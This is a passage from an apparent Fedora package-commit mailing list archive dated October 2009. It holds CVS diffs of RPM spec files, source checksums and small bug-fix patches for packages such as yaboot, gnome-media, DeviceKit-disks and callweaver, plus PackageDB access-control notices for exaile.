+* Mon Oct 19 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.105-1
 - Update to 0.3.105
 - Tweak mount.rc to use UTF-8 (to not bring back #508823 again)
 



From tbreeds at fedoraproject.org  Mon Oct 19 01:03:27 2009
From: tbreeds at fedoraproject.org (Tony Breeds)
Date: Mon, 19 Oct 2009 01:03:27 +0000 (UTC)
Subject: rpms/yaboot/F-12 yaboot.spec,1.70,1.71
Message-ID: <20091019010327.6CADE11C00E8@cvs1.fedora.phx.redhat.com>

Author: tbreeds

Update of /cvs/pkgs/rpms/yaboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11126

Modified Files:
	yaboot.spec 
Log Message:
Actually install the newly built yaboot.debug ... Ooops :D




Index: yaboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaboot/F-12/yaboot.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- yaboot.spec	19 Oct 2009 00:45:31 -0000	1.70
+++ yaboot.spec	19 Oct 2009 01:03:26 -0000	1.71
@@ -96,6 +96,7 @@ rm -f $RPM_BUILD_ROOT/etc/yaboot.conf
 touch $RPM_BUILD_ROOT/etc/yaboot.conf
 mkdir -p $RPM_BUILD_ROOT/boot
 install -m0644 %{SOURCE1} $RPM_BUILD_ROOT/boot/efika.forth
+install -m0644 second/yaboot.debug $RPM_BUILD_ROOT/usr/lib/yaboot/
 
 %clean
 rm -rf $RPM_BUILD_ROOT



From tbreeds at fedoraproject.org  Mon Oct 19 01:12:44 2009
From: tbreeds at fedoraproject.org (Tony Breeds)
Date: Mon, 19 Oct 2009 01:12:44 +0000 (UTC)
Subject: rpms/yaboot/F-12 yaboot-1.3.14-dont_of_open_native_partitions.patch,
	NONE, 1.1 yaboot.spec, 1.71, 1.72
Message-ID: <20091019011244.18DB511C00E8@cvs1.fedora.phx.redhat.com>

Author: tbreeds

Update of /cvs/pkgs/rpms/yaboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15167

Modified Files:
	yaboot.spec 
Added Files:
	yaboot-1.3.14-dont_of_open_native_partitions.patch 
Log Message:
Calling of_open() on a LINUX_NATIVE parttions seesm to work but end up with a garbage file.  Add check to of_open to skip these parttions (#526021).



yaboot-1.3.14-dont_of_open_native_partitions.patch:
 .fs_of.c.swp |binary
 fs_of.c      |    4 ++--
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE yaboot-1.3.14-dont_of_open_native_partitions.patch ---
diff -urNp yaboot-1.3.14.orig/second/fs_of.c yaboot-1.3.14/second/fs_of.c
--- yaboot-1.3.14.orig/second/fs_of.c	2009-10-14 09:39:46.263661071 +1100
+++ yaboot-1.3.14/second/fs_of.c	2009-10-14 09:43:42.932691139 +1100
@@ -92,8 +92,8 @@ of_open(struct boot_file_t* file,
      strncpy(buffer, fspec->dev, 768);
      strcat(buffer, ":");
      if (part) {
-          if (part->sys_ind == LINUX_RAID) {
-	       DEBUG_F("skipping because partition is marked LINUX_RAID\n");
+          if (part->sys_ind == LINUX_RAID || part->sys_ind == LINUX_NATIVE) {
+	       DEBUG_F("skipping because partition is marked %x\n", part->sys_ind);
 	       DEBUG_LEAVE(FILE_ERR_BAD_FSYS);
 	       return FILE_ERR_BAD_FSYS;
 	  }
Binary files yaboot-1.3.14.orig/second/.fs_of.c.swp and yaboot-1.3.14/second/.fs_of.c.swp differ


Index: yaboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaboot/F-12/yaboot.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- yaboot.spec	19 Oct 2009 01:03:26 -0000	1.71
+++ yaboot.spec	19 Oct 2009 01:12:43 -0000	1.72
@@ -1,7 +1,7 @@
 Summary: Linux bootloader for Power Macintosh "New World" computers.
 Name: yaboot
 Version: 1.3.14
-Release: 21%{?dist}
+Release: 22%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: http://yaboot.ozlabs.org/releases/yaboot-%{version}.tar.gz
@@ -34,6 +34,8 @@ Patch35: yaboot-1.3.14-returns.patch
 # ipv6 support
 Patch36: yaboot-1.3.14-ipv6.patch
 
+# Do not open LINUX_NATIVE parttions with OF, as badness happens
+Patch37: yaboot-1.3.14-dont_of_open_native_partitions.patch
 
 URL: http://yaboot.ozlabs.org/
 BuildRoot: %{_tmppath}/%{name}-root
@@ -83,6 +85,7 @@ yaboot can also bootload IBM pSeries mac
 %patch34 -p1 -b .birecs
 %patch35 -p1 -b .returns
 %patch36 -p1 -b .ipv6
+%patch37 -p1 -b .partitions
 
 %build
 make VERSIONEXTRA='\ (Red Hat %version-%release)' DEBUG=1
@@ -123,6 +126,10 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
+* Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-20
+- Calling of_open() on a LINUX_NATIVE parttions seesm to work but end up with a
+  garbage file.  Add check to of_open to skip these parttions (#526021).
+
 * Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-21
 - Explicitly build a DEBUG=1 version of yaboot to aid in debugging
 



From tbreeds at fedoraproject.org  Mon Oct 19 01:14:11 2009
From: tbreeds at fedoraproject.org (Tony Breeds)
Date: Mon, 19 Oct 2009 01:14:11 +0000 (UTC)
Subject: rpms/yaboot/F-12 yaboot.spec,1.72,1.73
Message-ID: <20091019011411.0990011C00E8@cvs1.fedora.phx.redhat.com>

Author: tbreeds

Update of /cvs/pkgs/rpms/yaboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15630

Modified Files:
	yaboot.spec 
Log Message:
Fix stupid copy-n-paste error



Index: yaboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaboot/F-12/yaboot.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- yaboot.spec	19 Oct 2009 01:12:43 -0000	1.72
+++ yaboot.spec	19 Oct 2009 01:14:10 -0000	1.73
@@ -126,7 +126,7 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
-* Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-20
+* Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-22
 - Calling of_open() on a LINUX_NATIVE parttions seesm to work but end up with a
   garbage file.  Add check to of_open to skip these parttions (#526021).
 



From itamarjp at fedoraproject.org  Mon Oct 19 01:15:14 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Mon, 19 Oct 2009 01:15:14 +0000 (UTC)
Subject: rpms/qt-creator/devel .cvsignore,1.7,1.8 sources,1.7,1.8
Message-ID: <20091019011514.EE90311C00E8@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/qt-creator/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16200

Modified Files:
	.cvsignore sources 
Log Message:
- new source



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt-creator/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	12 Sep 2009 05:36:21 -0000	1.7
+++ .cvsignore	19 Oct 2009 01:15:14 -0000	1.8
@@ -1 +1 @@
-qt-creator-1.2.90-src.tar.gz
+qt-creator-qt-creator-1.3.0-beta.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qt-creator/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	12 Sep 2009 05:36:21 -0000	1.7
+++ sources	19 Oct 2009 01:15:14 -0000	1.8
@@ -1 +1 @@
-ef8d7e5a7e52c282dc369a0935a68d2f  qt-creator-1.2.90-src.tar.gz
+93835b26b00df71fc54dc968caa7c6bf  qt-creator-qt-creator-1.3.0-beta.tar.gz



From cchance at fedoraproject.org  Mon Oct 19 01:19:01 2009
From: cchance at fedoraproject.org (cchance)
Date: Mon, 19 Oct 2009 01:19:01 +0000 (UTC)
Subject: rpms/liberation-fonts/devel .cvsignore, 1.12,
	1.13 liberation-fonts.spec, 1.44, 1.45 sources, 1.16, 1.17
Message-ID: <20091019011901.1E85A11C00E8@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/liberation-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18092

Modified Files:
	.cvsignore liberation-fonts.spec sources 
Log Message:
rebuilt


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/liberation-fonts/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	21 Jul 2009 02:30:24 -0000	1.12
+++ .cvsignore	19 Oct 2009 01:19:00 -0000	1.13
@@ -1 +1 @@
-liberation-fonts-1.05.1.20090721.tar.gz
+liberation-fonts-1.05.2.20091019.tar.gz


Index: liberation-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/liberation-fonts/devel/liberation-fonts.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- liberation-fonts.spec	19 Oct 2009 00:45:26 -0000	1.44
+++ liberation-fonts.spec	19 Oct 2009 01:19:00 -0000	1.45
@@ -10,7 +10,7 @@ New.
 Name:             %{fontname}-fonts
 Summary:          Fonts to replace commonly used Microsoft Windows fonts
 Version:          1.05.2.20091019
-Release:          1%{?dist}
+Release:          2%{?dist}
 # The license of the Liberation Fonts is a EULA that contains GPLv2 and two
 # exceptions:
 # The first exception is the standard FSF font exception.
@@ -112,7 +112,10 @@ mkfontscale %{buildroot}%{_fontdir}
 rm -rf %{buildroot}
 
 %changelog
-* Mon Oct 19 2009 Caius 'kaio' Chance <k at kaio.me> - 1.05.2.20091019-1.fc12
+* Mon Oct 19 2009 Caius 'kaio' Chance <k at kaio.me> - 1.05.2.20091019-2.fc13
+- Rebuilt.
+
+* Mon Oct 19 2009 Caius 'kaio' Chance <k at kaio.me> - 1.05.2.20091019-1.fc13
 - Resolves: rhbz#525498 - wrongly encoded glyphs after U+10000.
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.05.1.20090721-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/liberation-fonts/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	21 Jul 2009 02:30:24 -0000	1.16
+++ sources	19 Oct 2009 01:19:00 -0000	1.17
@@ -1 +1 @@
-64d10e33c4f7e7553ae220c0e85c00b9  liberation-fonts-1.05.1.20090721.tar.gz
+89cd7e13588da4ca14a523233b3352f0  liberation-fonts-1.05.2.20091019.tar.gz



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:22 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014922.D246C10F85F@bastion2.fedora.phx.redhat.com>

deji has set the watchbugzilla acl on exaile (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:26 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014926.EED3B10F85A@bastion2.fedora.phx.redhat.com>

deji has set the watchcommits acl on exaile (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:31 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014931.2F12910F86E@bastion2.fedora.phx.redhat.com>

deji has set the commit acl on exaile (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:45 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014945.6DB4110F85A@bastion2.fedora.phx.redhat.com>

deji has set the watchbugzilla acl on exaile (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:47 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014947.81B4610F87F@bastion2.fedora.phx.redhat.com>

deji has set the watchcommits acl on exaile (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:50 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014950.BDB8610F88F@bastion2.fedora.phx.redhat.com>

deji has set the commit acl on exaile (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:56 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014956.A08C910F85A@bastion2.fedora.phx.redhat.com>

deji has set the commit acl on exaile (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:49:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:49:59 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019014959.C3A0910F87F@bastion2.fedora.phx.redhat.com>

deji has set the watchcommits acl on exaile (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From pkgdb at fedoraproject.org  Mon Oct 19 01:50:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 01:50:05 +0000
Subject: [pkgdb] exaile had acl change status
Message-ID: <20091019015005.915CB10F880@bastion2.fedora.phx.redhat.com>

deji has set the watchbugzilla acl on exaile (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/exaile



From mclasen at fedoraproject.org  Mon Oct 19 02:41:29 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 02:41:29 +0000 (UTC)
Subject: rpms/gnome-media/F-12 startup-glitches.patch, NONE,
	1.1 gnome-media.spec, 1.184, 1.185
Message-ID: <20091019024129.8C25511C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-media/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12875

Modified Files:
	gnome-media.spec 
Added Files:
	startup-glitches.patch 
Log Message:
Fix visual glitches at startup


startup-glitches.patch:
 gvc-mixer-dialog.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE startup-glitches.patch ---
--- gnome-media-2.28.1/gnome-volume-control/src/gvc-mixer-dialog.c	2009-10-18 22:26:13.170501152 -0400
+++ hacked3/gnome-volume-control/src/gvc-mixer-dialog.c	2009-10-18 22:35:39.233506438 -0400
@@ -1731,7 +1731,6 @@
         gtk_box_pack_start (GTK_BOX (box),
                             self->priv->input_level_bar,
                             TRUE, TRUE, 6);
-        gtk_widget_show (self->priv->input_level_bar);
 
         ebox = gtk_hbox_new (FALSE, 6);
         gtk_box_pack_start (GTK_BOX (box),
@@ -1843,7 +1842,7 @@
                           G_CALLBACK (on_control_card_removed),
                           self);
 
-        gtk_widget_show_all (GTK_WIDGET (self));
+        gtk_widget_show_all (main_vbox);
 
         streams = gvc_mixer_control_get_streams (self->priv->mixer_control);
         for (l = streams; l != NULL; l = l->next) {


Index: gnome-media.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-media/F-12/gnome-media.spec,v
retrieving revision 1.184
retrieving revision 1.185
diff -u -p -r1.184 -r1.185
--- gnome-media.spec	18 Oct 2009 07:03:27 -0000	1.184
+++ gnome-media.spec	19 Oct 2009 02:41:29 -0000	1.185
@@ -14,7 +14,7 @@
 Summary:        GNOME media programs
 Name:           gnome-media
 Version:        2.28.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 License:        GPLv2+ and GFDL
 Group:          Applications/Multimedia
 Source:         http://download.gnome.org/sources/gnome-media/2.28/gnome-media-%{version}.tar.bz2
@@ -25,6 +25,9 @@ Patch0: layout-tweaks.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=598821
 Patch1: options.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=598887
+Patch2: startup-glitches.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes:      gnome
 URL:            http://www.gnome.org
@@ -90,6 +93,7 @@ framework.
 %setup -q
 %patch0 -p1 -b .layout-tweaks
 %patch1 -p1 -b .options
+%patch2 -p1 -b .startup-glitches
 
 # force regeneration
 rm profiles/gnome-audio-profiles.schemas
@@ -319,6 +323,9 @@ fi
 
 
 %changelog
+* Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-3
+- Fix some visual glitches at startup
+
 * Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-2
 - Cosmetic fixes to the layout of gnome-volume-control
 - Fix the --page commandline option



From mclasen at fedoraproject.org  Mon Oct 19 02:59:47 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 02:59:47 +0000 (UTC)
Subject: rpms/DeviceKit-disks/F-12 .cvsignore, 1.12,
	1.13 DeviceKit-disks.spec, 1.37, 1.38 sources, 1.12, 1.13
Message-ID: <20091019025947.C5CCF11C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/DeviceKit-disks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17314

Modified Files:
	.cvsignore DeviceKit-disks.spec sources 
Log Message:
008



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	18 Sep 2009 23:55:24 -0000	1.12
+++ .cvsignore	19 Oct 2009 02:59:47 -0000	1.13
@@ -1,11 +1 @@
-DeviceKit-disks-002.git20080720.tar.gz
-DeviceKit-disks-003.tar.gz
-DeviceKit-disks-004.20080406git.tar.gz
-DeviceKit-disks-004.20090406git.tar.gz
-DeviceKit-disks-004.20090408git.tar.gz
-DeviceKit-disks-004.20090412git.tar.gz
-DeviceKit-disks-004.20090415git.tar.gz
-DeviceKit-disks-004.tar.gz
-DeviceKit-disks-005.tar.gz
-DeviceKit-disks-006.tar.gz
-DeviceKit-disks-007.tar.gz
+DeviceKit-disks-008.tar.gz


Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/DeviceKit-disks.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- DeviceKit-disks.spec	13 Oct 2009 22:26:25 -0000	1.37
+++ DeviceKit-disks.spec	19 Oct 2009 02:59:47 -0000	1.38
@@ -11,12 +11,12 @@
 
 Summary: Disk Management Service
 Name: DeviceKit-disks
-Version: 007
-Release: 5%{?dist}
+Version: 008
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-disks/
-Source0: %{name}-%{version}.tar.gz
+Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: glib2-devel >= %{glib2_version}
 BuildRequires: dbus-devel  >= %{dbus_version}
@@ -55,10 +55,6 @@ Requires: mtools
 Requires: ntfsprogs
 %endif
 
-Patch0: 0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch
-# https://bugs.freedesktop.org/show_bug.cgi?id=24499
-Patch1: media-player.patch
-
 # for /proc/self/mountinfo, only available in 2.6.26 or higher
 Conflicts: kernel < 2.6.26
 
@@ -78,8 +74,6 @@ D-Bus interface definitions for DeviceKi
 
 %prep
 %setup -q
-%patch0 -p1
-%patch1 -p1 -b .media-player
 
 %build
 %configure --enable-gtk-doc
@@ -146,6 +140,10 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> - 008-1%{?dist}
+- Update to 008
+- See http://lists.freedesktop.org/archives/devkit-devel/2009-October/000513.html
+
 * Tue Oct 13 2009 Matthias Clasen <mclasen at redhat.com> - 007-5%{?dist}
 - Give media players better icons
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	18 Sep 2009 23:55:24 -0000	1.12
+++ sources	19 Oct 2009 02:59:47 -0000	1.13
@@ -1 +1 @@
-6fa70c6a67beacbc55374e92c671a568  DeviceKit-disks-007.tar.gz
+11c2bf346644e99bdca941394e019130  DeviceKit-disks-008.tar.gz



From itamarjp at fedoraproject.org  Mon Oct 19 03:23:32 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Mon, 19 Oct 2009 03:23:32 +0000 (UTC)
Subject: rpms/callweaver/devel callweaver.spec,1.21,1.22
Message-ID: <20091019032332.5E47D11C00E8@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/callweaver/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21870

Modified Files:
	callweaver.spec 
Log Message:
- modify initscript for compatibility with EL



Index: callweaver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/callweaver/devel/callweaver.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- callweaver.spec	21 Aug 2009 12:41:55 -0000	1.21
+++ callweaver.spec	19 Oct 2009 03:23:31 -0000	1.22
@@ -7,7 +7,7 @@
 
 Name:		callweaver
 Version:	1.2.1
-Release:	2%{?snap:.%{snap}}%{?dist}
+Release:	3%{?snap:.%{snap}}%{?dist}
 Summary:	The Truly Open Source PBX
 
 Group:		Applications/Internet
@@ -18,14 +18,25 @@ Source0:	http://devs.callweaver.org/rele
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	spandsp-devel >= 0.0.5-0.1.pre4
+BuildRequires:	spandsp-devel >= 0.0.6-0.1.pre12
 BuildRequires:	%{?snap:libtool automake autoconf} zlib-devel
 BuildRequires:	fedora-usermgmt-devel bluez-libs-devel openldap-devel
 BuildRequires:	libjpeg-devel loudmouth-devel nspr-devel js-devel ncurses-devel
 BuildRequires:	unixODBC-devel openssl-devel speex-devel alsa-lib-devel
 BuildRequires:	isdn4k-utils-devel libcap-devel sqlite-devel mysql-devel
-BuildRequires:	postgresql-devel compat-readline5-devel %{?with_misdn:mISDN-devel}
-BuildRequires:	popt-devel %{?with_zaptel:zaptel-devel libpri-devel}
+BuildRequires:	postgresql-devel %{?with_misdn:mISDN-devel}
+BuildRequires:	 %{?with_zaptel:zaptel-devel libpri-devel}
+
+%if 0%{?rhel}
+BuildRequires: popt  readline-devel
+%endif
+
+%if 0%{?fedora} >= 11
+BuildRequires: popt-devel  compat-readline5-devel
+%endif
+
+
+
 
 Requires:	/sbin/chkconfig
 Obsoletes:	openpbx < 1.2-5
@@ -186,7 +197,11 @@ convenient interface between CallWeaver 
 # incompatibility or switched to libedit which is compatible with GPLv3, but
 # doesn't support UTF-8.
 
+
+%if 0%{?fedora} >= 11
 export CPPFLAGS="-I%{_includedir}/readline5" LDFLAGS="-L%{_libdir}/readline5"
+%endif
+
 
 # res_sqlite seems to use internal functions of sqlite3 which don't 
 # even _exist_ in current versions. Disable it until it's fixed.
@@ -240,6 +255,15 @@ rm -f $RPM_BUILD_ROOT/%{_mandir}/man8/sa
 
 #fix bz 473572 /var/lib/callweaver not packaged (todo - send a patch to upstream to fix this)
 mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}
+#if you know a better way to create all directory's with only one mkdir tell me
+mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/core
+mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/coredump
+mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/images
+mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/keys
+mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/moh
+mkdir -p $RPM_BUILD_ROOT%{_sharedstatedir}/%{name}/ogi
+
+
 #create /usr/share/callweaver/keys
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/keys
 
@@ -291,7 +315,7 @@ test "$1" != 0 || /sbin/chkconfig --del 
 %attr(0755,callweaver,callweaver) %{_localstatedir}/run/callweaver
 
 #fix bz 473572
-%attr(0755,callweaver,callweaver) %{_sharedstatedir}/%{name}
+%attr(0755,callweaver,callweaver) %{_sharedstatedir}/%{name}/
 
 # Unneeded
 %exclude %{_sysconfdir}/callweaver/cdr_tds.conf
@@ -394,6 +418,9 @@ test "$1" != 0 || /sbin/chkconfig --del 
 %{_sbindir}/eogi*
 
 %changelog
+* Mon Oct 19 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.1-3
+- modify iniscript for compatibility with EL
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.1-2
 - rebuilt with new openssl
 



From whot at fedoraproject.org  Mon Oct 19 03:52:54 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 19 Oct 2009 03:52:54 +0000 (UTC)
Subject: rpms/xorg-x11-drv-evdev/F-11 .cvsignore, 1.35, 1.36 sources, 1.35, 
	1.36 xorg-x11-drv-evdev.spec, 1.54, 1.55
Message-ID: <20091019035254.5786711C00E8@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28695

Modified Files:
	.cvsignore sources xorg-x11-drv-evdev.spec 
Log Message:
* Mon Oct 19 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.6-1
- evdev 2.2.6 (Fix for #483297)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-11/.cvsignore,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- .cvsignore	20 Aug 2009 23:34:55 -0000	1.35
+++ .cvsignore	19 Oct 2009 03:52:53 -0000	1.36
@@ -1 +1 @@
-xf86-input-evdev-2.2.5.tar.bz2
+xf86-input-evdev-2.2.6.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-11/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	20 Aug 2009 23:34:55 -0000	1.35
+++ sources	19 Oct 2009 03:52:54 -0000	1.36
@@ -1 +1 @@
-e926692d74ee81ed459d0fe89439ff8b  xf86-input-evdev-2.2.5.tar.bz2
+bc4b2356e1dbf2d21e1e95249b18f5f8  xf86-input-evdev-2.2.6.tar.bz2


Index: xorg-x11-drv-evdev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-11/xorg-x11-drv-evdev.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- xorg-x11-drv-evdev.spec	20 Aug 2009 23:34:55 -0000	1.54
+++ xorg-x11-drv-evdev.spec	19 Oct 2009 03:52:54 -0000	1.55
@@ -6,7 +6,7 @@
 
 Summary:    Xorg X11 evdev input driver
 Name:	    xorg-x11-drv-evdev
-Version:    2.2.5
+Version:    2.2.6
 Release:    1%{?dist}
 URL:	    http://www.x.org
 License:    MIT
@@ -72,6 +72,9 @@ X.Org X11 evdev input driver development
 
 
 %changelog
+* Mon Oct 19 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.6-1
+- evdev 2.2.6 (Fix for #483297)
+
 * Fri Aug 21 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.5-1
 - evdev 2.2.5 (Fix for #517782)
 



From salimma at fedoraproject.org  Mon Oct 19 04:04:29 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 04:04:29 +0000 (UTC)
Subject: rpms/lua-lunit/F-10 lua-lunit-0.4-myerror.patch, NONE,
	1.1 lua-lunit.spec, 1.1, 1.2
Message-ID: <20091019040429.EDBB311C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15100/F-10

Modified Files:
	lua-lunit.spec 
Added Files:
	lua-lunit-0.4-myerror.patch 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 0.4-2
- Patch out the use of non-existent myerror fn


lua-lunit-0.4-myerror.patch:
